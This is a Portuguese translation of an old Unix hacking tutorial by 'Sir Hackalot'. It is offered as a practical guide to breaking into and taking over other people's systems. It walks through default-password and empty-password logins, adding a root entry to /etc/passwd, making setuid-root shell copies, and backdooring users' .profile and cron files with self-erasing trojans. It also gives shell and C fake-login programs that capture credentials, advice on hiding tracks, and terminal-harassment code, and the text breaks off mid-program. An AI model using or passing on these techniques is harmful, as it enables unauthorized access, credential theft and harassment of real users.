root (privilegio total), assim se voce é sortudo o suficiente para saber ser o root,
voce não precisa mais ler nada desse arquivo, e pode passar para seção
"Divertindo-se".  Hackear pode ser simplesmente pegar contas de outras pessoas.


Entrando:

        A primeira coisa a fazer é entrar no Unix.  Ou seja, passar do prompt de login.
Essa é a primeira coisa.  Quando voce entra em um UNIX, algumas vezes ele irá 
identificar a si proprio dizendo o seguinte:

"LeBeau INC. et al Company UNIX"

ou apenas:

"LeBeau Inc.  Please login"

        Aqui é onde voce tentará as contas padrão que já foram mostradas.  Se voce entrar
com aquele, voce pode tentar fazer o mais avançado ato de hackers (ser o root). 
Se voce faz algo errado no login, voce terá a messagem "login incorrect"
Isso foi feito para confundir os hackers, ou manter a maravilha.  Porque?
Bem, voce não sabe se entrou com  uma conta que nao existe, ou uma que existe e
errou a senha.  Se voce der um login e ele disser "Not on Console", voce tem um problema.  
Voce tera que dar um login como alguém mais, e usar SU para ser o root.

   Agora, voce tem que pensar (Como diz meu professor, perder a virgindade do
cérebro).  Se voce não entrar com um default, voce obviamente terá que encontrar alguma
coisa a mais para dar um login.  Alguns sistemas tem uma boa forma de fazer isso 
permitindo o uso de logins de comando.  São os que simplesmente executam um comando,
depois dão um logoff.  Entretando, os comandos que eles executam são geralmente muito úteis.
Por exemplo, existem 3 comandos muitos comuns que mostra quem esta conectado naquele momento.
Eles sao:
   
        who
        rwho
        finger

   
    Se voce conseguir fazer um desses funcionar, poderá tentar os nomes dos usuários
que estão conectados. Muitos usuários usam o nome da conta como senha.  Exemplo
o "bob" pode ter uma senha "bob" ou "bob1". Isso nao é esperto,
mas não esperam que um hacker venha tentar fazer isso com eles.  Eles somente querem
ser capazes de logar rapidamente.
   Se um login de comando não existe, ou nao te é útil, aí voce pode ficar com a cabeca quente.
Uma alternativa então seria  tentar usar o nome do unix que ele está identificado.
Por Exemplo, o Unix da LeBeau INC pode ter uma conta chamada
"lebeau"
        LeBeau, INC.  Please Login.
        login: lebeau
        UNIX SYSTEM V REL 3.2
        (c)1984 AT&T..
        ..
        ..
        ..
    
   Alguns unixes tem uma conta aberta chamada "test".  Isso também é um padrão,
mas isso é surpreendemente suficiente, ele algumas vezes é deixado aberto.  É bom
tentar usar ele.  Lembre-se, cabeça quente é a chave para um unix que não tem 
aparentemente nenhum padrao aberto.  Pense nas coisas que podem ter relação com esse
Unix.  Digite coisas tipo "info", "password", "dial", "bbs" e outras cositas mas
que podem pertencer ao sistemas "att" está presente em algumas máquinas também.

UMA VEZ DENTRO -- ARQUIVOS ESPECIAIS

        Existem muitos arquivos que são muito importantes para o ambiente do UNIX.
São os que seguem:

/etc/passwd  - Esse é provavelmente o arquivo mais importante no UNIX, porquê?
               bem, basicamente, ele possui as contas válidas/senhas.
               Isso é importante uma vez que apenas aquelas listadas no passwd
               podem dar o  login, e algumas delas não podem (vou explicar).
               
        O formato do arquivo de password é o seguinte:

nome:senha:UserID:GroupID:descricao(ou nome real):homedir:shell

( note que os : é o que separa os campos do arquivo)

  
        Aqui estão dois exemplos:

sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
demo::101:100:Test Account:/usr/demo:/usr/sh

        
                No primeiro exemplo, sirhack é um usuário válido.  O segundo campo,
                entretando, é suposto para ser uma senha, certo?  Bem, ela é, mas está
                encripatada com o algoritmo de encriptação da DES.
                A parte que diz "&a,Ty" pode incluir um data depois da virgula
                (Ty) que diz ao unix quando a senha expira.  Sim, a data está encriptada
                em dois caracteres alfanuméricos (Ty).

                No segundo exemplo, a conta demo não tem senha.
                Assim no Login, voce pode digitar:

login: demo
UNIX system V
(c)1984 AT&T
..
..

                Mas com sirhack, voce terá que entrar com a senha. O
                arquivo de senhas é grande, muitas vezes, voce será capaz
                de navegar através dele olhando por contas sem senhas.  

                Lembre-se que algumas contas podem ser restritas de se 
                logar com elas, exemplo:

bin:*:2:2:binaccount:/bin:/bin/sh

                O '*' significa que nao pode dar um login com ele.  Sua
                única finalidade será rodar um shell SUID shell (explicado mais tarde).


Um nota sobre a encriptacao DES:

           Cada unix faz a sua propria  "palavra chave" 
como base de sua encriptação.  Muitas vezes são somente letras 
aleatórias e números, escolhidas na instalação pelo sistema operacional.
        Agora, desencripitar coisas encriptadas com DES não é fácil.  É quase 
impossível.  Especialmente desencriptar o arquivo de senhas (desencriptar o campo com
as senhas no arquivo de senhas para ser exato).  Nunca acredite em um hacker que
diz que desencriptou um arquivo de senhas.  Ele provavelmente está mentindo.  
As Senhas nunca são desencriptadas pelo unix, mas ao contrário, uma chamada ao sistema
é feita para uma função chamada "crypt" de dentro da linguagem C, e a string que voce
entrou como as senhas fica encriptada, e comparada com a senha encriptada.  Se 
elas combinam, voce estará dentro. Existem hackers de senhas, mas eles
não desencriptam o arquivo de senhas,e sim encriptam palavras de um dicionário  ( wordlist )
e testam elas em cada conta (criptografando/comparando) até que encontra
uma igualdade, para isso utilizam programas como o BruteForce ou CrackJack. 
Lembre-se, poucos ou talvez ninguém, conseguiram desencriptar o arquivo
de senhas com sucesso.




/etc/group - Esse arquivo contem os grupos validos.  O arquivo de grupos é geralmente
             definido como esse:


             grupo:senha:groupid:usuarios no grupo

         De novo, as senhas são encriptadas aqui também.  Se voce vê uma senha
         em branco voce podera ser parte daquele grupo usando o comando "newgrp". 
         Existem casos em que alguns grupos sem senhas irão apenas permitir que
         certos tipos de usuários entrem naquele grupo via o comando newgrp.
         Geralmente, se o último campo é deixado em branco, isso significa que qualquer
         usuário pode usar newgrp para ter o acesso ao grupo.  De outra forma, apenas
         os usuários especificados no último campo podem entrar no grupo por newgrp.
         
        Newgrp é apenas um programa que irá mudar seu grupo atual por aquele que voce
        especificar. A sintaxe é:
        
         newgrp grupo
        
        Agora, se voce encontrar um grupo sem senha e usar newgrp para entra nele,
        e ele pedir uma senha, voce nao está permitido de usar o grupo.
        Eu explicarei melhor isso na seção "SU & Newgrp".

/etc/hosts - Esse arquivo contem uma lista de host que o UNIX esta conectado 
             através de uma rede de hardware (tipo um elo x.25 ou algo assim), 
             ou às vezes por UUCP.  Esse é um bom arquivo quando voce esta hackeando
             uma rede enorme, uma vez que ele mostra a voce sistemas que voce pode usar com
             rsh (Shell Remote, nao restrito shell), rlogin, e telnet,
             tão bem como outros programas de elo de ethernet/x.25.

/usr/adm/sulog (or su_log) - O arquio sulog (ou su_log) pode ser encontrado em
             muitos diretórios, mas ele é geralmente no /usr/adm.  Esse arquivo
             é o que ele parece.  É um arquivo de log, para o programa SU.
             O que ele faz é manter um registro de quem usa SU e quando.
             Quando voce usar o SU, a melhor coisa a fazer é editar esse arquivo
             se possivel, e eu vou falar como e porque na seção sobre usar "su".
             
/usr/adm/loginlog
ou /usr/adm/acct/loginlog -
        Esse é um arquivo de log, mantendo o traco dos logins.
        Sua atuação é meramenta para controle de contas e "revisao de segurança".  Realmente,
        algumas vezes esse arquivo nunca é encontrado, uma vez que muitos sistemas mantém o
        o log das contas desligado.

/usr/adm/errlog
ou errlog -     Esse é o  log de erro.  Ele pode ser localizado em qualquer lugar.
                Ele tem os traços de todos os erros sérios e as vezes nem tão sérios.
                Geralmente, ele irá conter um cdigo de erro, depois uma situação.
                o código de erro varia de 1 a 10, quanto maior, pior o erro.
                Erro de código  6 é geralmente usado quando voce tenta hackear.
                "login" loga sua tentativa no errlog com codigo de erro 6.  
                Codigo de erro 10 significa "SYSTEM CRASH".

/usr/adm/culog - Esse arquivo contém entradas que mostram quando voce usou cu,
                 onde voce chamou e outras coisas.  Outro negócio de seguranca.

/usr/mail/ - Esse é onde o programa "mail" armazena o mail.
                        Para ler uma caixa de correio particular, voce tem que 
                        ser esse usuário, no grupo de usuários "mail" ou root.  
                        cada caixa de correio é apenas um nome.  Exemplo, se minha
                        conta é "sirhack" meu arquivo de email deve ser geralmente:
                        /usr/mail/sirhack

/usr/lib/cron/crontabs - Esse contém as instruções para o cron, geralmente.
                         Veremos isso mais tarde.

/etc/shadow - Um arquivo de senhas "escondidas", falarei sobre isso mais tarde.



-- A conta BIN --


       Bem, nesse momento, eu gostaria de pegar um espaco para falar sobre a 
conta "bin".  Mesmo que ela seja uma conta com nível de usuário,  ela é muito
poderosa.  Ela é dona de quase todos os arquivos, e em muitos sistemas, ela possui
/etc/passwd, o arquivo mais importante no unix.  Olhe, a conta bin possui muitos dos
arquivos binários (bin), assim como os outros arquivos usados pelos arquivos binários,
tal como o login.  Agora, sabendo o que voce já sabe sobre permissões de arquivo,
se o bin possui o arquivo passwd, voce pode editar passwd e acrescentar uma entrada
de root para si proprio.
Voce pode fazer isso pelo comando edit:
$ ed passwd
10999 [O tamanho do passwd varia]
* a
sirhak::0:0:Mr. Hackalot:/:/bin/sh
{control-d}
* w
* q
$

Entao, voce diz: exec login, entao voce pode dar login como sirhack e
voce sera root.



/\/\/\/\/\/\/\/\/
Hackeando........
/\/\/\/\/\/\/\/\/

Acrescentando contas

        Existem outros programas que irao acrescentar usuarios no usuario,
alem do ed. Mas muitos desses programas não irão permitir um usuário com nível de
root seja acrescentado, ou algo menos que uma UID de 100.  Um desses programas é
chamado "adduser". A razão porque fiz essa pequena seção, é para aqueles
que querem usar o unix para algo útil.  Digamos que voce queira um "endereço de
correspondência".  Se o unix tem uucp nele, ou se é um grande colecio,
as chances são que ele irá fazer transferências de email.  Voce terá que testar
o unix tentando enviar email para um amigo em algum lugar, ou apenas enviando um 
email para si próprio.
Se o programa de email é identificado como "smail" quando voce manda uma carta a 
si próprio (o nome do programa irá aparecer na messagem) isso provavelmente significa
que o sistema irá enviar correio UUCP.  Essa é uma boa forma para manter contato com
alguém.
Agora, isso é porque voce precisa de uma conta semi-permanente.  O modo de arquivar isso
é acrescentando uma conta similar a aquelas que existem no sistema.  Se todas as
contas com nível de usuário (UID >= 100) sao abreviações com 3 letras, tipo
"ogb" para O Gato Bill, ou "brs" para bill ryan smith, acrescente uma conta via
adduser, e faça um nome tipo sally jane marshall ou algo assim,
(eles nao esperam que hackers ponham nomes femininos) e tenha uma conta
chamada sjm.  Veja, na descrição da conta (tipo Mr. Hackalot acima), é lá onde
o nome real é geralmente armazenado.  Assim, sjm irá ficar assim:

     sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh

É claro que voce irá colocar uma senhas nessa senhas, certo?
Tambem, id de grupos não tem que ser acima de 100, mas voce pode por a conta
em uma que exista.  Agora, uma vez que deu um login com essa conta, a primeira 
coisa que voce fará é executar "passwd" para por uma senha.  Se voce não o fizer,
provavelmente outra pessoa o fará para voce.

Mudar o ID do usuário

        Esse provavelmente um dos esquemas mais usados.  Alterando uma "UID-
Shell". O que isso significa?  Bem, isso basicamente significa que voce esta
mudando bit do usuario em um programa.  O programas mais usado e um
shell (csh,sh, ksh, etc).  Porque?  Pense sobre isso:  Voce tera acesso a tudo que 
o dono do arquivo tem.  Um shell UID altera o id do usuario de uma pessoa que o
executa.  Assim, se um root possui um shell de uid, entao voce sera root quando
voce o rodar.  Esse e uma alternativa para se tornar root.

        Digamos que voce entrou e modificou o arquivo de senhas e deixou a conta
root sem senha, assim voce pode pegar ela.  E claro, voce tera que
pegar logo essa conta senao isso sera descoberto eventualmente.  Assim, o que voce
fazer e pegar uma conta de usuario normal para si proprio, e depois, fazer um
shell uid.  Geralmente voce pode usar /bin/sh para isso.  Depois de acrescentar
um usuario regular para o arquivo passwd, e mudar/verificar seu diretorio home.
voce pode fazer algo como isso:
(assumindo que voce pegou a conta: shk)
 # cp /bin/sh /usr/shk/runme
 # chmod a+s /usr/shk/runme

Isso e tudo o que voce tem que fazer.  Quando voce conectar como shk, voce podera fazer
isso:

 $ runme
 #

Viu?  Voce sera o root.  Aqui esta uma coisa a fazer:

$ id
uid=104(shk) gid=50(user)

$ runme
# id
uid=104(shk) gid=50(user) euid=0(root)
#

O euid e o Id do usuario "efetivo" user ID.  shells de UID apenas mudam o efetivo
user id, nao o real id de usuario.  Mas, o id de usuario efetivo sobrepoem o
id de usuario real.  Agora, voce pode, se voce quiser pode usar outros programas para fazer
isso.  O que eu quero disser?  Por exemplo, faca do 'ls'
um shell do root. :

# chmod a+s /bin/ls
# exit
$ ls -l /usr/fred
..
......
etc crap

Ls sera entao capaz de espiar qualquer diretorio.  Se voce fizer o mesmo para
"cat" voce podera ver qualquer arquivo, se voce fizer isso com rm, voce podera apagar
qualquer arquivo.  Se voce fizer isso com 'ed', voce pode editar qualquer arquivo em qualquer lugar
do sistema (geralmente).


Como eu me torno root?


   Boa pergunta.  Para fazer um programa alterar a id do shell do usuario para root,
voce tem que ser root, a menos que voce tenha sorte.  Como assim?  Bem, digamos que
voce encontre um programa que mudar o id do usuario para root.  Se voce tiver acesso
para escrever aquele arquivo, o que entao?  voce podera copiar sobre ele, mas continuar
o bit de uid inalterado.  Assim, digamos que voce viu que o programa chsh esta mudando 
o id de usuario para root.  Entao voce podera copiar o /bin/sh sobre ele.

$ ls -l
rwsrwsrws  root     other  10999 Jan 4  chsh
$ cp /bin/sh chsh
$ chsh
#

Viu?  Isso e apenas um modo.  Existem outras, que eu vou falar agora.
Mais modos de alterar o UID
        Agora, a forma generica de fazer um programa alterar o bit de Id do 
usuario e usar esse comando:

chmod a+s file

Onde 'file' e um arquivo valido existente.  Agora, apenas que tem o arquivo 
pode alter o bit de Id do usuario.  Lembre-se, qualquer coisa que VOCE cria, 
VOCE e o dono, assim se voce copiar o /bin/sh, assim se voce copia
o /bin/sh, aquela conta que voce esta conectado e o dono do arquivo, ou se o
UID e alterado para outra pessoa, o novo UID e o dono do arquivo.  Isso me leva
ate permissoes de arquivo RUINS.



II. HACKEANDO : Permissoes de arquivos ruins

        Agora, o que eu quero dissero com permissoes de arquivo ruins?  Bem, procures 
arquivos que VOCE possa escrever, e acima de tudo, DIRETORIOS que voce possa escrever.
Se voce tiver permissao de escrever em um arquivo, voce pode modifica-lo.  Agora, isso chega
na hora quando se quer roubar o acesso de alguem.  Se voce pode escrever para o
arquivo .profile do usuario, voce esta no negocio.  Voce pode fazer com que .profile do usuario
crie um shell suid para voce rodar quando voce conectar depois do usuario.
Se o .profile pode ser escrito por voce, voce pode fazer isso:

$ ed .profile
[algum numero ira estar aqui]
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
(control-d)
? w
[new filesize will be shown]
? q
$

  Agora, quando o usuario conectar de novo, o .profile ira criar .runme que
  ira alterar o seu ID para o do usuario que voce alterou o arquivo.  Depois voce ira
  voltar e apagar aqueleas linhas depois que o suid foi criado, e voce ira copiar
  o suid para outro lugar e apagar aquele no diretorio do usuario.  O .runme nao
  ira aparecer na listagem de diretorios normal, ira apenas aparecer se ele fizer
  "ls -a" (ou ls com uma combinacao de -a), porque, o '.' deixa um arquivo
  escondido.

O codigo abaixo e um CAVALO DE TROIA, que e um dos mais usado/abusado
metodo de ganhar mais poder no unix. O codigo pode ser feito em C via
comando system(), ou apenas usando open(), chmod(), etc.
* Lembre-se para ver se o .profile do root pode ser escrito*
* ele esta localizado no /.profile (usualmente) *


   A melhor coisa que pode acontecer  e encontrar um diretorio de usuario que pode
   ser escrito por voce.  Poqeu?  Bem, voce pode trocar todos os arquivos no
   diretorio por seu scripts ou Cavalos de Troia em C.  Mesmo que um arquivo
   nao possa ser escrito por voce, voce pode apagar ele ou sobrescrever ele.
   Se voce pode ler varios arquivo, tal como o .profile do usuario, voce pode
   fazer um Cavalo de Troia que se alto apaga, como o seguinte:
   

 $ cp .profile temp.pro
 $ ed .profile
 1234
 ? a
 cp /bin/sh .runme
 chmod a+x .runme
 chmod a+s .runme
 mv temp.pro .profile
 (control-d)
 ? w
 [outro numero]
 ? q
 $ chown aquele_usuario temp.pro

  O que aconteceu e que voce fez uma copia do .profile antes de voce mudar ele.
  Entao, voce mudou o original.  Quando ele roda isso, os passos sao feitos entao
  a versao original e posta sobre a original, assim se o idiota olha no  
  .profile, ele nao vera nada fora do normal, exceto que ele pode ver
  que a data e mais recente, mas muitos usuarios nao sao paranoicos o suficiente
  para fazer checagens extensivas nos seus arquivos, exceto arquivos do sysadm 
  (tal como o passwd).

  Agora, lembre-se mesmo tendo permissao de escrever para um dir, voce pode nao ser capaz
  de escrever para um arquivo sem apagar ele.  Se voce nao tiver permissao para 
  escrever naquele arquivo, voce tera que apagar ele e escrever algo nele
  (ponha um arquivo com o mesmo nome la). A coisa mais importante a lembrar
  e que se voce deletar o .profile voce tera que MUDAR o DONO do arquivo depois de
  voce fazer um novo (hehe) para aquele usuario.  Ele pode facilmente perceber que o arquivo
  .profile foi alterado e ele vai saber que fez isso.  SIM, voce pode mudar o dono
  para alguem mais alem de voce e o dono original (como para manter o dono sem suspeitas de voce).

  Voce pode facilmente mudar os arquivos cron se voce pode escrever neles.  Eu nao estou indo
  entrar em detalhes sobre formatos de arquivos cron aqui, apenas encontre o arquivo crontab
  e modifique ele para criar um shell em qualquer lugar como root,
  e mudar o id do usuario.

III. Cavalos de Troia em terminais.
        Basicamente isso:  Voce pode enviar lixo para a tela do usuario e
        mexer com ele tao mal para forcar que ele faca um logoff, criando uma 
        conta vazia.  Entao voce pode executar um cavalo de troia naquele terminal no
        lugar do login ou alguma coisa, assim o proximo que chamar irar pegar o Cavalo de troia.
        Isso geralmente tem a forma de um falso login. Depois escreve o nome da conta/senha
        digitadas para o disco.

        Agora, existem outros cavalos de troia disponiveis para voce escrever.  Agora,
        nao pense em um virus, porque eles nao funcionam se o root nao o executa.
        De qualquer modo um Cavalo de Troia comum e uma script que pede a senha e as 
        envia pelo email para voce.  Agora, voce pode trocar o codigo para o cavalo auto
        destrutivo com um dissendo algo assim:
        echo "login: \c"
        read lgin
        echo off (funciona em alguns sistemas)
        (se o de cima nao funcionar...: stty -noecho)
        echo "Password:\c"
        read pw
        echo on
        echo "Login: $lgin - Pword: $pw" | mail you

        Agora, o melhor modo de usar isso e por isso em um script seperado
        assim ele pode ser deletado como parte do Cavalo de Troia auto destrutivo .
        Outra modificacao que pode ser feita, removendo o "login: " e deixando o
        Password, isso pode ficar parecido com o SU, assim voce pode pegar a senha do root.
        Mas tenha certeza que o programa apaga a si proprio.  Aqui esta um exemplo de 
        login cavalo de troia em C:

        #include 
        /* Get the necessary defs.. */
        main()
        {
          char *name[80];
          char *pw[20];
          FILE *strm;
          printf("login: ");
          gets(name);
          pw = getpass("Password:");
          strm = fopen("/WhereEver/Whateverfile","a");
          fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
          fclose(strm);
          /* ponha algum tipo de erro embaixo... */
          printf("Bus Error - Core Dumped\n");
          exit(1);
          }

        O programa pede o login e a senha, e coloca isso em um arquivo
        (/wherever/whateverfile), e cria o arquivo se ele puder,
        e se nao tiver nada ali.  Isso e apenas um exemplo.  Anunciamento de 
        rede vem depois.

 IV.  Sistemas diferentes

        Existem sistemas qe voce conecta sem problemas, e encontra algum
menu, banco de dados, ou processador de textos como seu shell, sem jeito de usar
o interpretador de comandos (sh, ksh, etc..).  Nao desiste aqui.  Alguns sistemas irao
permitir que voce conecte como root, mas dar um menu que ira permitir a voce acrescente uma conta.
Entretando, alguns daqueles que fazem iso geralmente tem algum software comprado
rodando, e as pessoas que fazem o software SABEM que as pessoas que compraram isso
sao idiotas, e a coisa ira algumas vezes apenas permitir que voce acrescente
contas com id de usuario 100 ou maior, com o menu como shell. Voce provavelmente
nao pegara um shell, o programa ira provavelmente continuar na tela do usuario que
voce criou, o que e muito limitado.  Entretando, algumas vezes voce pode editar
contas, e isso ira listar contas que voce pode editar na tela.
ENTRETANTO, esses programas geralmente apenas listas aquele com UIDS > 100 assim voce
nao pode editar as contas boas, entretando, eles nao impedem que voce deixe uma conta
com um  UID < 100.  A "edicao" geralmente apenas envolve mudar a senha da conta.  Se uma
conta tem um * para uma senhas, o programa que muda as senhas, ira dizer que nenhuma senha
existe, e ira pedir a voce entrar uma. (wallah! Voce pegou uma conta para si proprio. Geralmente
bin e sys tem um * como senha).  Se a senha existe voce tera que entrar
a senha antiga (Espero que voce saiba isso!) para a conta.  Entao, voce esta no
mesmo bote que antes. (BTW -- Esses sistemas loucos sao geralmente
Xenix/386, Xenix/286, or Altos/286)
        Com processadores de textos, geralmente voce pode selecionar o comando load,
e quando o processando de texto pedir um arquivo, voce pode selecionar o arquivos passwd,
para olhar por contas abertas, ou ao menos contas valida para hackear.  Um exemplo
pode ser o sistema informix.  Voce pode pegar um processador de textos tipo
o Samna word, ou algo assim,  e aqueles Lamers nao irao proteger-se contra
uma coisa tipo aquela.  Porque?  O arquivo Passwd tem que ser legivel por todos ,
assim cada programa pode ter um "status" seu.  Entretanto, processadores de textos pode ser feitos
para edicao restrita de um diretorio, ou conjunto de diretorios.  Aqui esta um exemplo:
        $ id
        uid=100(sirhack) gid=100(users)
        $ sword
        (processador de textos aparece)
        (selecione LOAD A FILE)
        : /etc/passwd
        
        (voce ve: )
        root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
        sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
        datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
        ...

Agora eu encontrei uma conta para ser pega! Posso pegar "datawiz" sem problemas,
depois eu posso mudar a senha, coisa que ele nao ira gostar
Alguns sistemas deixam o "sysadm" sem senha (stupidos!), e agora, muitas versoes
do Unix, como Xenix, Unix, BSD, ou alguns outros, eles tem um shell de sysadm
que ira deixar voce fazer toda a parte importante via menu, como criar usuarios, mas voce 
precisa ter ansi ou algo assim.

        Voce pode pedir um menu.  Algumas vezes no UNIX
        SYSTEM V, quando ele mostra TERM = (termtype), e esta esperando que voce
        apente enter ou outra coisa, voce ira pegar um menu.. ack.

V. Arquivos de senhas Escondidos (Shadowed)
        Nao tenho muita coisa a falar sobre isso.  Tudo que isso faz, e que quando cada 
        campo de senha no arquivo passwd tem um "x" ou apenas um caracter.  O que isso faz
        e mexer com voce, porque voce nao pode ler o arquivo de senhas escondido. 
        Apenas o root pode, e ele contem todas as senhas, assim voce nao ira saber
        quais as contas que nao tem senhas, entre outras coisas.
        
Existem muitos outros esquemas de hackerar o unix, desde escrever programas
em linguagem assembly que modifica o PCB ate codigo auto-alteravel que o
interrupt handler nao captura, e outras coisas tipo isso.  Entretanto e nao quero
dar mais nada.  Agora eu vou falar sobre Internet.

--->>> InterNet <<<---
        O que eu quero falar sobre InterNet?  Bem, porque ela e um 
exemplo vivo de uma rede TCP/IP, melhor conhecido como WAN (Wide-Area-Network ou 
Rede de Area Ampla). Agora, geralmente voce ira encontrar Sistemas BSD na  
Internet, ou SunOS, porque eles sao mais comuns.  Mas isso pode mudar quando
o System V, Rel 4.0, Version 2.0 chegar, de qualquer modo esses BSDs/SunOSs 
gostar de deixar facil pular de um computador para outro uma vez que voce
esta conectado.  O que acontece e que CADA sistema tem um "yello page password file". 
Melhor conhecido como yppasswd.
Se voce der uma olhada la e ver senhas vazias voce pode usar rsh, rlogin, etc..
para ir para aquele sistema.  UM sistema em particular por onde eu passei tinha
um arquivo yppasswd onde *300* usuarios nao tinhas senhas.
Uma vez que eu entrei com a conta "test", tudo o que tive que fazer era selecionar quem
eu queria ser, e fazer: rlogin -l usuario (algumas vezes -n).  Entao eu podeia conectar-me
no sistema que eu ja estava, via TCP/IP.  Entretanto, quando voce faz isso,
lembre-se que o yppasswd apenas pertence ao sistema que voce esta naquele momento
Para encontrar contas, voce pode encontar o yppasswd e fazer:

% cat yppasswd | grep ::  (Procurar por contas sem senhas)

Ou, se voce nao encontrar yppasswd..

% ypcat passwd | grep ::

Em UM sistema (que ficara confidencial), Eu encontrei a conta DAEMON 
deixada aberta no arquivo yppasswd.  Nada mal.  Atraves de um sistema na
internet, voce pode alcancar muitos.  Apenas  use rsh, ou rlogin, e olhe
no arquivo: /etc/hosts para sites validos que voce pode alcancar.  Se voce
entrar num sistema, e der um rlogin para outro lugar, e se ele pedir uma senha,
isso significa uma de duas coisas:

A. A conta que voce hackeou no computador esta no computador alvo tambem.
   Tente usar a mesma senha (se tiver) que voce a sua conta tem.  Se ela e
   um default, entao com certeza ela esta no outro sistema, boa sorte...
   
B. rlogin/rsh passam seu nome atual para o outro sistema, assim e como se voce
   digitasse no seu login no prompt de "login: ".  Voce pode nao existir na outra
   maquina.  Tente "rlogin -l nome", ou rlogin -n nome..
   algumas vezes, voce pode executar "rwho" em outra maquina, e pegar uma conta
   valida.

Algumas notas sobre servidores de Internet.  Existem "GATEWAYS" que voce pode entrar
quer permite acesso a MUITOS sites Internet.  Eles rodam uma versao modificada
do GL/1 ou GS/1.  Pessima escolha.  Eles tem arquivos de ajuda.  Entretanto,
voce pode pegar um acesso priviligiado (privileged) neles, que ira dar a voce CONTROLE do
gateway. Voce pode reseta-lo, remover sistemas da Internet, etc..
Quando voce pedir para ser privilegiado, ele ira pedir uma senha.  Existe um
default.  O default e "system".  Eu passei por  *5* gateways com a senha
default.  Depois denovo, DECNET tem a mesma senha, e eu passei por mais de 
100 sistemas com a senhas privilegiada padrao.  Legal.
O Gateway que leva para  APPLE.COM tem a senha default.  Qualquer um pudia ter
tirado a apple.com da internet.  Fique avisado que existem muitas
redes hoje em dia que usam TCP/IP.. Tal como BARRNET, LANET, e muitas outras redes de
Universidades.

 Divertindo-se (Com a cara dos outros) 

Agora, Depois de tudo, voce pode tentar se divertir um pouco.  Nao, Eu nao estou dissendo
em ir acabar com Winchesters, ou acabando com o elo de diretorios para pegar inodes (LeBeau: Acho
que quer disser nos na Internet, talvez), Eu digo brincar com os usuarios na rede.
Existem muitas coisas que podem ser feitas.  Redirecionar a saida de dados e uma
das melhores.  Aqui esta um exemplo:
 $ who
 loozer   tty1
 sirhack  tty2
 $ banner You Suck >/dev/tty1        
 $
 Isso envia a saida de dados para o loozer.  O TTY1 e onde a E/S esta sendo realizada
 (geralmente um modem se e um TTY).  Voce pode repetitivamente usar o banner no 
 usuario  com uma estrutura do while em shell, fazendo com que ele se desconecte. Ou
 voce pode simplesmente se diverte com ele.  Observe esse programa em C:

#include 
#include 
#include 

main(argc,argument)
int argc;
char *argument[];
{
        int handle;
        char *pstr,*olm[80];
        char *devstr = "/dev/";
        int acnt = 2;
        FILE *strm;
        pstr = "";
        if (argc == 1) {
                printf("OL (OneLiner) Version 1.00 \n");
                printf("By Sir Hackalot [PHAZE](Traduzido por LeBeau)\n");
                printf("\nsintaxe: ol tty message\n");
                printf("Example: ol tty01 You suck\n");
                exit(1);
        }
        printf("OL (OneLiner) Version 1.0\n");
        printf("By Sir Hackalot [PHAZE]\n");
        if (argc == 2) {
                strcpy(olm,"");
                printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
                printf("Enter one Here => ");
                gets(olm);
        }
        strcpy(pstr,"");
        strcat(pstr,devstr);
        strcat(pstr,argument[1]);
        printf("Sending to: [%s]\n",pstr);
        strm = fopen(pstr,"a");
        if (strm == NULL) {
                printf("Error writing to: %s\n",pstr);
                printf("Cause: No Write Perms?\n");
                exit(2);
        }
        if (argc == 2) {
                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());
                fprintf(strm,"%s\n",olm);
                fclose(strm);
                printf("Message Sent.\n");
                exit(0);
        }
        if (argc > 2) {
                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());
                while (acnt <= argc - 1) {
                        fprintf(strm,"%s ",argument[acnt]);
                        acnt++;
                }
                fclose(strm);
                printf("Message sent!\n");
                exit(0);
        }
}

O que o codigo acima faz e enviar uma linha de texto para um dispositivo que 
se possa escrever nele por voce no diretorio /dev.  Se voce tentar isso no 
usuario "sirhack" ele ira notificar sirhack daquilo que voce esta fazendo. 
Voce pode suprir um argumento na linha de comandos, ou nao preencher a messagem,
depois o programa pede uma.  Voce DEVE suprir um terminal.  Tambem, se voce usar
? ou *, ou (), ou [], voce nao tem que suprir uma messagem na linha de comandos
espere ate que ele peca por uma. Exemplo:

$ ol tty1 Lammer 
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE](Traduzido por LeBeau)
Sending to: [/dev/tty1]
Message Sent!
$
Or..
$ ol tty1
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE](Traduzido por LeBeau)
Dummy! You Forgot to Supply a ONE LINE MESSAGE!
Enter one here => Loozer! Logoff (NOW)!! ^G^G
Sending to: [/dev/tty1]
Message Sent!
$

  Voce pode fazer para enviar messagens falsas a partir do root.  
  Aqui vai outro exemplo:


/*
 * Hose another user
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define NMAX    sizeof(ubuf.ut_name)

struct  utmp ubuf;
struct  termio oldmode, mode;
struct  utsname name;
int yn;
int loop = 0;
char    *realme[50] = "Unknown";
char    *strcat(), *strcpy(), me[50]  = "???", *him, *mytty, histty[32];
char    *histtya, *ttyname(), *strrchr(), *getenv();
int     signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
FILE    *tf;

main(argc, argv)
int argc;
char *argv[];
{
        register FILE *uf;
        char c1, lastc;
        int goodtty = 0;
        long clock = time((long *) 0);
        struct tm *localtime();
        struct tm *localclock = localtime( &clock );
        struct stat stbuf;
        char psbuf[20], buf[80], window[20], junk[20];
        FILE *pfp, *popen();

        if (argc < 2) {
                printf("usage: hose user [ttyname]\n");
                exit(1);
        }
        him = argv[1];

        if (argc > 2)
                histtya = argv[2];
        if ((uf = fopen("/etc/utmp", "r")) == NULL) {
                printf("cannot open /etc/utmp\n");
                exit(1);
        }
        cuserid(me);
        if (me == NULL) {
                printf("Can't find your login name\n");
                exit(1);
        }
    mytty = ttyname(2);
    if (mytty == NULL) {
                printf("Can't find your tty\n");
                exit(1);
        }
        if (stat(mytty, &stbuf) < 0) {
                printf("Can't stat your tty -- This System is bogus.\n");
        }
        if ((stbuf.st_mode&02) == 0) {
